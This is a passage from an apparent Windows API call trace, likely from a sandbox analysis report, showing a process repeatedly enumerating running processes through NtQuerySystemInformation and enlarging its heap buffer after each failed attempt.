Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0223.578] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0223.578] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0223.578] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0223.686] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0223.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0223.687] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0223.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0223.687] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0223.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.687] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0223.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.687] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0223.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.687] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0223.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.687] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0223.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0223.687] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0223.688] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0223.688] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0223.796] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0223.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0223.796] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0223.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0223.796] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0223.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.796] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0223.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.796] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0223.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.796] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0223.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.796] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0223.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0223.797] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0223.797] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0223.797] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0223.905] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0223.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0223.905] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0223.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0223.905] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0223.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.905] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0223.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.905] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0223.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.905] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0223.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.906] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0223.906] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0223.906] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0223.906] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0223.906] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0224.014] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0224.014] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0224.014] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0224.014] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0224.014] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0224.014] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.014] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0224.014] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.014] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0224.015] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.015] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0224.015] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.015] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0224.015] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0224.015] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0224.015] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0224.015] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0224.123] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0224.123] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0224.123] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0224.123] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0224.123] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0224.124] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.124] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0224.124] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.124] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0224.124] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.124] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0224.124] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.124] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0224.124] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0224.124] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0224.124] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0224.124] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0224.232] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0224.232] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0224.233] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0224.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0224.233] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0224.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.233] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0224.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.233] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0224.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.233] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0224.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.233] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0224.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0224.233] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0224.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0224.234] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0224.342] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0224.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0224.342] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0224.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0224.342] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0224.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.342] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0224.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.343] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0224.343] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.343] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0224.343] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.343] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0224.343] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0224.343] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0224.343] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0224.343] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0224.451] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0224.451] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0224.451] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0224.451] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0224.451] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0224.451] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.451] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0224.451] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.451] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0224.451] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.452] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0224.452] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.452] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0224.452] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0224.452] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0224.452] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0224.452] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0224.560] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0224.560] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0224.560] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0224.560] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0224.560] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0224.560] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.560] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0224.561] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.561] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0224.561] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.561] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0224.561] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.561] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0224.561] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0224.561] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0224.561] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0224.561] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0224.669] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0224.669] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0224.669] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0224.669] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0224.669] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0224.670] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.670] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0224.670] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.670] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0224.670] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.670] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0224.670] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.670] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0224.670] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0224.670] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0224.670] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0224.670] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0224.778] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0224.778] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0224.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0224.779] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0224.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 